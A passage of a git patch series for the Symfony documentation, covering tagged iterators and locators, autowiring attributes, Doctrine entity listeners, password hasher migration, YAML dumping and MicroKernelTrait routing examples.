+++ b/components/string.rst
@@ -552,8 +552,7 @@ from GitHub or Slack, use the first argument of ``withEmoji()`` method::
     $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁');
     // $slug = 'a-smiley-cat-black-cat-and-a-lion';
 
-If you want to strip emojis from a string, you can also use the special
-``strip`` locale::
+If you want to strip emojis from slugs, use the special ``strip`` locale::
 
     use Symfony\Component\String\Slugger\AsciiSlugger;
 
@@ -563,6 +562,10 @@ If you want to strip emojis from a string, you can also use the special
     $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁');
     // $slug = 'a-and-a';
 
+.. versionadded:: 6.3
+
+    The option to strip emojis from slugs was introduced in Symfony 6.3.
+
 .. _string-inflector:
 
 Inflector

From aac1e7db83e38238754f8e83cb185942c851e8de Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 3 Jan 2023 13:57:22 +0100
Subject: [PATCH 4023/7107] [DependencyInjection] Add exclude to TaggedIterator
 and TaggedLocator

---
 service_container/tags.rst | 70 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 70 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 9c89ef8c85a..e5e996a076e 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -591,6 +591,76 @@ application handlers::
         }
     }
 
+If for some reason you need to exclude one or multiple services when using a tagged
+iterator, this can be done by using the ``exclude`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            # This is the service we want to exclude, even if the 'app.handler' tag is attached
+            App\Handler\Three:
+                tags: ['app.handler']
+
+            App\HandlerCollection:
+                arguments:
+                    - !tagged_iterator { tag: app.handler, exclude: ['App\Handler\Three'] }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <!-- This is the service we want to exclude, even if the 'app.handler' tag is attached -->
+                <service id="App\Handler\Three">
+                    <tag name="app.handler"/>
+                </service>
+
+                <service id="App\HandlerCollection">
+                    <!-- inject all services tagged with app.handler as first argument -->
+                    <argument type="tagged_iterator" tag="app.handler">
+                        <exclude>App\Handler\Three</exclude>
+                    </argument>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            // ...
+
+            // This is the service we want to exclude, even if the 'app.handler' tag is attached
+            $services->set(App\Handler\Three::class)
+                ->tag('app.handler')
+            ;
+
+            $services->set(App\HandlerCollection::class)
+                // inject all services tagged with app.handler as first argument
+                ->args([tagged_iterator('app.handler', exclude: [App\Handler\Three::class])])
+            ;
+        };
+
+.. versionadded:: 6.1
+
+    The ``exclude`` option was introduced in Symfony 6.1.
+
 .. seealso::
 
     See also :doc:`tagged locator services </service_container/service_subscribers_locators>`

From 1d0949338e3e4afd39e7429d53897ec8ca81ab6d Mon Sep 17 00:00:00 2001
From: Mathieu <mathieu.lechat@les-tilleuls.coop>
Date: Mon, 2 Jan 2023 09:21:31 +0100
Subject: [PATCH 4024/7107] [Security] Prevent unneeded implementation of
 `PasswordHasherAwareInterface` when migrating passwords

---
 security/passwords.rst | 14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index 2a2f7acc336..76ff9651c08 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -134,7 +134,7 @@ Further in this article, you can find a
     .. configuration-block::
 
         .. code-block:: yaml
-        
+
             # config/packages/test/security.yaml
             security:
                 # ...
@@ -544,8 +544,10 @@ migration by returning ``true`` in the ``needsRehash()`` method::
         }
     }
 
-Named Password Hashers
-----------------------
+.. _named-password-hashers:
+
+Dynamic Password Hashers
+------------------------
 
 Usually, the same password hasher is used for all users by configuring it
 to apply to all instances of a specific class. Another option is to use a
@@ -646,6 +648,12 @@ the name of the hasher to use::
         }
     }
 
+.. caution::
+
+    When :ref:`migrating passwords <security-password-migration>`, you don't need to implement ``PasswordHasherAwareInterface``
+    to return the legacy hasher name:
+    Symfony will detect it from your ``migrate_from`` configuration.
+
 If you created your own password hasher implementing the
 :class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`,
 you must register a service for it in order to use it as a named hasher:

From d3e4443f02f74ac40f105427ed359d6a6dfec4e1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 3 Jan 2023 16:04:32 +0100
Subject: [PATCH 4025/7107] Minor tweak

---
 security/passwords.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index 4eae756172c..030abe90a5d 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -639,9 +639,9 @@ the name of the hasher to use::
 
 .. caution::
 
-    When :ref:`migrating passwords <security-password-migration>`, you don't need to implement ``PasswordHasherAwareInterface``
-    to return the legacy hasher name:
-    Symfony will detect it from your ``migrate_from`` configuration.
+    When :ref:`migrating passwords <security-password-migration>`, you don't
+    need to implement ``PasswordHasherAwareInterface`` to return the legacy
+    hasher name: Symfony will detect it from your ``migrate_from`` configuration.
 
 If you created your own password hasher implementing the
 :class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`,

From 1743655b63e048c283f90a5fa7e535f5591706b7 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 24 Dec 2022 17:49:27 +0100
Subject: [PATCH 4026/7107] [Yaml] Add flag to dump numeric key as string

---
 components/yaml.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/components/yaml.rst b/components/yaml.rst
index 2c463d1c731..e20427069d7 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -418,6 +418,22 @@ you can dump them as ``~`` with the ``DUMP_NULL_AS_TILDE`` flag::
     $dumped = Yaml::dump(['foo' => null], 2, 4, Yaml::DUMP_NULL_AS_TILDE);
     // foo: ~
 
+Dumping Numeric Keys as Strings
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, digit-only array keys are dumped as integers. You can use the
+``DUMP_NUMERIC_KEY_AS_STRING`` flag if you want to dump string-only keys::
+
+    $dumped = Yaml::dump([200 => 'foo']);
+    // 200: foo
+
+    $dumped = Yaml::dump([200 => 'foo'], 2, 4, Yaml::DUMP_NUMERIC_KEY_AS_STRING);
+    // '200': foo
+
+.. versionadded:: 6.3
+
+    The ``DUMP_NUMERIC_KEY_AS_STRING`` flag was introduced in Symfony 6.3.
+
 Syntax Validation
 ~~~~~~~~~~~~~~~~~
 

From ae473a78ef05cf85b0afd4dafd2139de45c2ea71 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 3 Jan 2023 17:19:28 +0100
Subject: [PATCH 4027/7107] Tweak

---
 service_container/autowiring.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 7e1494657d9..673963278b9 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -565,7 +565,8 @@ logic about those arguments::
     The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
 
 The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-parameters>`,
-:doc:`complex expressions </service_container/expression_language>` and even :ref:`environment variables <config-env-vars>`::
+:doc:`complex expressions </service_container/expression_language>` and even
+:ref:`environment variables <config-env-vars>`::
 
     // src/Service/MessageGenerator.php
     namespace App\Service;
@@ -588,7 +589,7 @@ The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-par
             #[Autowire(expression: 'service("App\\Mail\\MailerConfiguration").getMailerMethod()')]
             string $mailerMethod
 
-            // environment variable
+            // environment variables
             #[Autowire(env: 'SOME_ENV_VAR')]
             string $senderName
         ) {

From 565e0e3bd1e798727ffc79e9130d0d3cf308e310 Mon Sep 17 00:00:00 2001
From: Eric <eric.robert@simpleclinic.net>
Date: Tue, 3 Jan 2023 08:54:04 +1000
Subject: [PATCH 4028/7107] Adds information on AsEntityListener attribute to
 the Doctrine event documentation

---
 doctrine/events.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 9a2756a4e61..71bb44d6fe0 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -353,6 +353,30 @@ with the ``doctrine.orm.entity_listener`` tag:
             ;
         };
 
+
+Doctrine Entity Listeners may also be defined using PHP attributes.  When using PHP attributes it is not necessary to create a service for the listener.
+
+    .. code-block:: php
+
+        // src/EventListener/UserChangedNotifier.php
+        namespace App\EventListener;
+
+        use App\Entity\User;
+        use Doctrine\Persistence\Event\LifecycleEventArgs;
+        use Doctrine\Bundle\DoctrineBundle\Attribute\AsEntityListener;
+
+        #[AsEntityListener(event:'postUpdate',  method:'postUpdate', entity:User::class)]
+        class UserChangedNotifier
+        {
+            // the entity listener methods receive two arguments:
+            // the entity instance and the lifecycle event
+            public function postUpdate(User $user, LifecycleEventArgs $event): void
+            {
+                // ... do something to notify the changes
+            }
+        }
+
+
 Doctrine Lifecycle Subscribers
 ------------------------------
 

From 7b93c1f9b0386f98012febc5edc38e549a6ff48a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 3 Jan 2023 17:56:44 +0100
Subject: [PATCH 4029/7107] Reword

---
 doctrine/events.rst | 53 ++++++++++++++++++++-------------------------
 1 file changed, 24 insertions(+), 29 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 71bb44d6fe0..59fe440c2b6 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -235,8 +235,9 @@ Doctrine Entity Listeners
 
 Entity listeners are defined as PHP classes that listen to a single Doctrine
 event on a single entity class. For example, suppose that you want to send some
-notifications whenever a ``User`` entity is modified in the database. To do so,
-define a listener for the ``postUpdate`` Doctrine event::
+notifications whenever a ``User`` entity is modified in the database.
+
+First, define a PHP class that handles the ``postUpdate`` Doctrine event::
 
     // src/EventListener/UserChangedNotifier.php
     namespace App\EventListener;
@@ -254,9 +255,27 @@ define a listener for the ``postUpdate`` Doctrine event::
         }
     }
 
-The next step is to enable the Doctrine listener in the Symfony application by
-creating a new service for it and :doc:`tagging it </service_container/tags>`
-with the ``doctrine.orm.entity_listener`` tag:
+Then, add the ``#[AsDoctrineListener]`` attribute to the class to enable it as
+a Doctrine entity listener in your application:
+
+    .. code-block:: php
+
+        // src/EventListener/UserChangedNotifier.php
+        namespace App\EventListener;
+
+        // ...
+        use App\Entity\User;
+        use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
+
+        #[AsDoctrineListener(event: 'postUpdate',  method: 'postUpdate', entity: User::class)]
+        class UserChangedNotifier
+        {
+            // ...
+        }
+
+That's it. Alternatively, if you prefer to not use PHP attributes, you must
+configure a service for the entity listener and :doc:`tag it </service_container/tags>`
+with the ``doctrine.orm.entity_listener`` tag as follows:
 
 .. configuration-block::
 
@@ -353,30 +372,6 @@ with the ``doctrine.orm.entity_listener`` tag:
             ;
         };
 
-
-Doctrine Entity Listeners may also be defined using PHP attributes.  When using PHP attributes it is not necessary to create a service for the listener.
-
-    .. code-block:: php
-
-        // src/EventListener/UserChangedNotifier.php
-        namespace App\EventListener;
-
-        use App\Entity\User;
-        use Doctrine\Persistence\Event\LifecycleEventArgs;
-        use Doctrine\Bundle\DoctrineBundle\Attribute\AsEntityListener;
-
-        #[AsEntityListener(event:'postUpdate',  method:'postUpdate', entity:User::class)]
-        class UserChangedNotifier
-        {
-            // the entity listener methods receive two arguments:
-            // the entity instance and the lifecycle event
-            public function postUpdate(User $user, LifecycleEventArgs $event): void
-            {
-                // ... do something to notify the changes
-            }
-        }
-
-
 Doctrine Lifecycle Subscribers
 ------------------------------
 

From cf1b86e1c1371c08a8520226f7a6b4756e1a4c5d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Jan 2023 12:59:53 +0100
Subject: [PATCH 4030/7107] Minor tweak

---
 service_container/tags.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index e5e996a076e..26ce6077fee 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -591,8 +591,8 @@ application handlers::
         }
     }
 
-If for some reason you need to exclude one or multiple services when using a tagged
-iterator, this can be done by using the ``exclude`` option:
+If for some reason you need to exclude one or more services when using a tagged
+iterator, add the ``exclude`` option:
 
 .. configuration-block::
 

From a8c81fe9c12acff8d46f3a36cdfd74d73281190c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 4 Jan 2023 13:24:40 +0100
Subject: [PATCH 4031/7107] [FrameworkBundle] Add support for route attributes
 in kernel controller methods

---
 configuration/micro_kernel_trait.rst | 128 +++++++++++++++++++--------
 1 file changed, 91 insertions(+), 37 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 3d479829a94..97781fa383c 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -20,55 +20,109 @@ via Composer:
       symfony/http-foundation symfony/routing \
       symfony/dependency-injection symfony/framework-bundle
 
-Next, create an ``index.php`` file that defines the kernel class and runs it::
+Next, create an ``index.php`` file that defines the kernel class and runs it:
 
-    // index.php
-    use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
-    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
-    use Symfony\Component\HttpFoundation\JsonResponse;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
-    use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+.. configuration-block::
 
-    require __DIR__.'/vendor/autoload.php';
+    .. code-block:: php
 
-    class Kernel extends BaseKernel
-    {
-        use MicroKernelTrait;
+        // index.php
+        use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+        use Symfony\Component\HttpFoundation\JsonResponse;
+        use Symfony\Component\HttpFoundation\Request;
+        use Symfony\Component\HttpKernel\Kernel as BaseKernel;
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        public function registerBundles(): array
-        {
-            return [
-                new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
-            ];
-        }
+        require __DIR__.'/vendor/autoload.php';
 
-        protected function configureContainer(ContainerConfigurator $c): void
+        class Kernel extends BaseKernel
         {
-            // PHP equivalent of config/packages/framework.yaml
-            $c->extension('framework', [
-                'secret' => 'S0ME_SECRET'
-            ]);
-        }
+            use MicroKernelTrait;
 
-        protected function configureRoutes(RoutingConfigurator $routes): void
-        {
-            $routes->add('random_number', '/random/{limit}')->controller([$this, 'randomNumber']);
+            public function registerBundles(): array
+            {
+                return [
+                    new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
+                ];
+            }
+
+            protected function configureContainer(ContainerConfigurator $c): void
+            {
+                // PHP equivalent of config/packages/framework.yaml
+                $c->extension('framework', [
+                    'secret' => 'S0ME_SECRET'
+                ]);
+            }
+
+            protected function configureRoutes(RoutingConfigurator $routes): void
+            {
+                $routes->add('random_number', '/random/{limit}')->controller([$this, 'randomNumber']);
+            }
+
+            public function randomNumber(int $limit): JsonResponse
+            {
+                return new JsonResponse([
+                    'number' => random_int(0, $limit),
+                ]);
+            }
         }
 
-        public function randomNumber(int $limit): JsonResponse
+        $kernel = new Kernel('dev', true);
+        $request = Request::createFromGlobals();
+        $response = $kernel->handle($request);
+        $response->send();
+        $kernel->terminate($request, $response);
+
+    .. code-block:: php-attributes
+
+        // index.php
+        use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+        use Symfony\Component\HttpFoundation\JsonResponse;
+        use Symfony\Component\HttpFoundation\Request;
+        use Symfony\Component\HttpKernel\Kernel as BaseKernel;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        require __DIR__.'/vendor/autoload.php';
+
+        class Kernel extends BaseKernel
         {
-            return new JsonResponse([
-                'number' => random_int(0, $limit),
-            ]);
+            use MicroKernelTrait;
+
+            public function registerBundles(): array
+            {
+                return [
+                    new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
+                ];
+            }
+
+            protected function configureContainer(ContainerConfigurator $c): void
+            {
+                // PHP equivalent of config/packages/framework.yaml
+                $c->extension('framework', [
+                    'secret' => 'S0ME_SECRET'
+                ]);
+            }
+
+            #[Route('/random/{limit}', name='random_number')]
+            public function randomNumber(int $limit): JsonResponse
+            {
+                return new JsonResponse([
+                    'number' => random_int(0, $limit),
+                ]);
+            }
         }
-    }
 
-    $kernel = new Kernel('dev', true);
-    $request = Request::createFromGlobals();
-    $response = $kernel->handle($request);
-    $response->send();
-    $kernel->terminate($request, $response);
+        $kernel = new Kernel('dev', true);
+        $request = Request::createFromGlobals();
+        $response = $kernel->handle($request);
+        $response->send();
+        $kernel->terminate($request, $response);
+
+.. versionadded:: 6.1
+
+    The PHP attributes notation has been introduced in Symfony 6.1.
 
 That's it! To test it, start the :doc:`Symfony Local Web Server
 </setup/symfony_server>`:

From 0db72289d3e167731fe5e198c2062f25ce6725a2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 4 Jan 2023 14:01:39 +0100
Subject: [PATCH 4032/7107] [DependencyInjection] Autowire arguments using the
 #[TaggedIterator] attribute

---
 service_container/tags.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 9c89ef8c85a..c834c0e6b17 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -591,6 +591,26 @@ application handlers::
         }
     }
 
+Injecting tagged services can be also be done through autowiring thanks to the
+``#[TaggedIterator]`` attribute. This attribute must be directly used on the
+argument to autowire::
+
+    // src/HandlerCollection.php
+    namespace App;
+
+    use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+
+    class HandlerCollection
+    {
+        public function __construct(#[TaggedIterator('app.handler')] iterable $handlers)
+        {
+        }
+    }
+
+.. versionadded:: 5.3
+
+    The ``#[TaggedIterator]`` attribute was introduced in Symfony 5.3 and requires PHP 8.
+
 .. seealso::
 
     See also :doc:`tagged locator services </service_container/service_subscribers_locators>`

From 8de38ef1d6249cd5404a68f6ebc27e761dbe6479 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Rapha=C3=ABl=20Riehl?= <riehl.raphael@gmail.com>
Date: Wed, 4 Jan 2023 14:03:12 +0100
Subject: [PATCH 4033/7107] Update getContainerExtension()

Since Symfony 6.x call to getContainerExtension() has evolved.
Now, it's necessary to set a return type, else it generates this error :
Declaration of Acme\TestBundle\AcmeTestBundle::getContainerExtension() must be compatible with Symfony\Component\HttpKernel\Bundle\Bundle::getContainerExtension(): ?Symfony\Component\DependencyInjection\Extension\ExtensionInterface"
---
 bundles/extension.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/bundles/extension.rst b/bundles/extension.rst
index edbcb5cd270..69f34dbc604 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -54,10 +54,11 @@ method to return the instance of the extension::
 
     // ...
     use Acme\HelloBundle\DependencyInjection\UnconventionalExtensionClass;
+    use Symfony\Component\DependencyInjection\Extension\ExtensionInterface;
 
     class AcmeHelloBundle extends Bundle
     {
-        public function getContainerExtension()
+        public function getContainerExtension(): ?ExtensionInterface
         {
             return new UnconventionalExtensionClass();
         }

From e891e95474a3692a2837303bcd60d713cb8afe4a Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Thu, 5 Jan 2023 02:52:11 +0100
Subject: [PATCH 4034/7107] remove mention to @required

---
 service_container/autowiring.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 20c6e1223b6..d70ccbdaa53 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -578,11 +578,8 @@ Autowiring will automatically call *any* method with the ``#[Required]`` attribu
 above it, autowiring each argument. If you need to manually wire some of the arguments
 to a method, you can always explicitly :doc:`configure the method call </service_container/calls>`.
 
-If your PHP version doesn't support attributes (they were introduced in PHP 8),
-you can use the ``@required`` annotation instead.
-
 Despite property injection having some :ref:`drawbacks <property-injection>`,
-autowiring with ``#[Required]`` or ``@required`` can also be applied to public
+autowiring with ``#[Required]`` can also be applied to public
 typed properties:
 
 .. configuration-block::

From 76c04248e8bf032419a0470e9f8e1ca55a77ae45 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Thu, 5 Jan 2023 03:20:02 +0100
Subject: [PATCH 4035/7107] remove mention to required in service_container

---
 service_container/injection_types.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 243856f1472..419bad912d0 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -116,15 +116,16 @@ by cloning the original service, this approach allows you to make a service immu
 
     // ...
     use Symfony\Component\Mailer\MailerInterface;
+    use Symfony\Contracts\Service\Attribute\Required;
 
     class NewsletterManager
     {
         private $mailer;
 
         /**
-         * @required
          * @return static
          */
+        #[Required]
         public function withMailer(MailerInterface $mailer): self
         {
             $new = clone $this;
@@ -220,14 +221,14 @@ that accepts the dependency::
     // src/Mail/NewsletterManager.php
     namespace App\Mail;
 
+    use Symfony\Contracts\Service\Attribute\Required;
+
     // ...
     class NewsletterManager
     {
         private $mailer;
 
-        /**
-         * @required
-         */
+        #[Required]
         public function setMailer(MailerInterface $mailer): void
         {
             $this->mailer = $mailer;

From ba83fd2435fb43e99393dd6c54ef3d4a69ad00b0 Mon Sep 17 00:00:00 2001
From: Nicolas PHILIPPE <nikophil@gmail.com>
Date: Thu, 5 Jan 2023 08:42:48 +0100
Subject: [PATCH 4036/7107] [HttpFoundation] add ParameterBag::getEnum()

---
 components/http_foundation.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index a9131112d1d..b058b073815 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -144,6 +144,13 @@ has some methods to filter the input values:
 :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::getInt`
     Returns the parameter value converted to integer;
 
+:method:`Symfony\\Component\\HttpFoundation\\ParameterBag::getEnum`
+    Returns the parameter value converted to a PHP enum;
+
+.. versionadded:: 6.3
+
+    The `ParameterBag::getEnum()` method was added in Symfony 6.3.
+
 :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::filter`
     Filters the parameter by using the PHP :phpfunction:`filter_var` function.
 

From d072fbd6daa7d250a71a1ba4843fd892a7948b8a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 5 Jan 2023 13:25:18 +0100
Subject: [PATCH 4037/7107] [DependencyInjection] Autowire arguments using the
 #[TaggedLocator] attribute

---
 .../service_subscribers_locators.rst          | 22 ++++++++++++++++++-
 1 file changed, 21 insertions(+), 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index db90d3e275c..0989941a1cc 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -305,6 +305,26 @@ As shown in the previous sections, the constructor of the ``CommandBus`` class
 must type-hint its argument with ``ContainerInterface``. Then, you can get any of
 the service locator services via their ID (e.g. ``$this->locator->get('App\FooCommand')``).
 
+The same behavior can be achieved using the ``#[TaggedLocator]`` attribute. This
+attribute must be directly used on a ``ServiceLocator`` argument::
+
+    // src/HandlerCollection.php
+    namespace App;
+
+    use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+    use Symfony\Component\DependencyInjection\ServiceLocator;
+
+    class HandlerCollection
+    {
+        public function __construct(#[TaggedLocator('app.handler')] ServiceLocator $locator)
+        {
+        }
+    }
+
+.. versionadded:: 5.3
+
+    The ``#[TaggedLocator]`` attribute was introduced in Symfony 5.3 and requires PHP 8.
+
 Reusing a Service Locator in Multiple Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -459,7 +479,7 @@ will share identical locators among all the services referencing them::
             // ...
             'logger' => new Reference('logger'),
         ];
-        
+
         $myService = $container->findDefinition(MyService::class);
 
         $myService->addArgument(ServiceLocatorTagPass::register($container, $locateableServices));

From 6c8a458dd2c3770b62d1f54f4fb9069f65fd735f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Jan 2023 14:57:39 +0100
Subject: [PATCH 4038/7107] -

---
 components/http_foundation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index b058b073815..c07bb9ee340 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -149,7 +149,7 @@ has some methods to filter the input values:
 
 .. versionadded:: 6.3
 
-    The `ParameterBag::getEnum()` method was added in Symfony 6.3.
+    The ``ParameterBag::getEnum()`` method was introduced in Symfony 6.3.
 
 :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::filter`
     Filters the parameter by using the PHP :phpfunction:`filter_var` function.

From d9b62bb7a9f9e4239656d75f13071d01a1bc8e5f Mon Sep 17 00:00:00 2001
From: cedric lombardot <cedric.lombardot@gmail.com>
Date: Thu, 5 Jan 2023 12:00:55 +0100
Subject: [PATCH 4039/7107] We need to use AsEntityListener instead of
 AsDoctrineListener

---
 doctrine/events.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 59fe440c2b6..77d25db35ac 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -255,7 +255,7 @@ First, define a PHP class that handles the ``postUpdate`` Doctrine event::
         }
     }
 
-Then, add the ``#[AsDoctrineListener]`` attribute to the class to enable it as
+Then, add the ``#[AsEntityListener]`` attribute to the class to enable it as
 a Doctrine entity listener in your application:
 
     .. code-block:: php
@@ -265,9 +265,10 @@ a Doctrine entity listener in your application:
 
         // ...
         use App\Entity\User;
-        use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
+        use Doctrine\Bundle\DoctrineBundle\Attribute\AsEntityListener;
+        use Doctrine\ORM\Events;
 
-        #[AsDoctrineListener(event: 'postUpdate',  method: 'postUpdate', entity: User::class)]
+        #[AsEntityListener(event: Events::postUpdate, method: 'postUpdate', entity: User::class)]
         class UserChangedNotifier
         {
             // ...

From ac95c9033be9e10768cd872fb26cbc9d4f2ad6cd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Jan 2023 15:44:24 +0100
Subject: [PATCH 4040/7107] Change the order of code blocks in the
 configuration block

---
 configuration/micro_kernel_trait.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 97781fa383c..a4cd11dd80c 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -24,7 +24,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
 
 .. configuration-block::
 
-    .. code-block:: php
+    .. code-block:: php-attributes
 
         // index.php
         use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
@@ -32,7 +32,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
         use Symfony\Component\HttpFoundation\JsonResponse;
         use Symfony\Component\HttpFoundation\Request;
         use Symfony\Component\HttpKernel\Kernel as BaseKernel;
-        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+        use Symfony\Component\Routing\Annotation\Route;
 
         require __DIR__.'/vendor/autoload.php';
 
@@ -55,11 +55,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
                 ]);
             }
 
-            protected function configureRoutes(RoutingConfigurator $routes): void
-            {
-                $routes->add('random_number', '/random/{limit}')->controller([$this, 'randomNumber']);
-            }
-
+            #[Route('/random/{limit}', name='random_number')]
             public function randomNumber(int $limit): JsonResponse
             {
                 return new JsonResponse([
@@ -74,7 +70,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
         $response->send();
         $kernel->terminate($request, $response);
 
-    .. code-block:: php-attributes
+    .. code-block:: php
 
         // index.php
         use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
@@ -82,7 +78,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
         use Symfony\Component\HttpFoundation\JsonResponse;
         use Symfony\Component\HttpFoundation\Request;
         use Symfony\Component\HttpKernel\Kernel as BaseKernel;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         require __DIR__.'/vendor/autoload.php';
